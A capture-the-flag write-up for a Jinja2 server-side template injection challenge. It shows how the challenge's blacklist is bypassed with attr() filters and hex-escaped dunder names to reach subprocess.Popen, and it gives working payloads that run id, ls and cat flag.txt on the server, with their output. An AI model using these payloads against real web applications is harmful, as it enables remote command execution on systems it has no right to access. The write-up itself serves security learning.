## Solution

The *SSTI* in the URL is a hint to *Server-Side Template Injection* vulnerabilities.

`http://ssti.darkarmy.xyz/?url={{7*7}}` will return the following.

```html
<div style = "text-align:center">
<h1>Oops! 49 is 404 Not Found.</h1>
</div>
```

`http://ssti.darkarmy.xyz/?url=[]` will return

```html
ohhhhhhhhhhhh noooooo0ooooo !! :) [
```

The same happens for chars: `%`, `[`, `]`, `"`, `+`, `_` and for words: `self`, `request`, `join`, `config`.

So the template engine is probably *Jinja2*, but you have to face some restrictions.

The following payload will return all subclasses.

```python
{{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()}}
```

Here the list of returned subclasses.

`<class 'subprocess.Popen'>` is at position `407`.

The following payload will return the output of the `id` command.

```python
{{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(407)('id',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('strip')()}}
```

```html
<div style = "text-align:center">
<h1>Oops! b'uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)' is 404 Not Found.</h1>
</div>
```

So you can execute remote commands, listing the directory content with the following payload.

```python
{{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(407)('ls',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('strip')()}}
```

```html
<div style = "text-align:center">
<h1>Oops! b'app.py\nflag.txt\nrequirements.txt' is 404 Not Found.</h1>
</div>
```

And printing `flag.txt` file.

```python
{{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(407)('cat flag.txt',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('strip')()}}
```

```html
<div style = "text-align:center">
<h1>Oops! b'darkCON{w0ww_y0u_ar3_sUp3er_h4ckeR_ggwpp_!!}' is 404 Not Found.</h1>
</div>
```
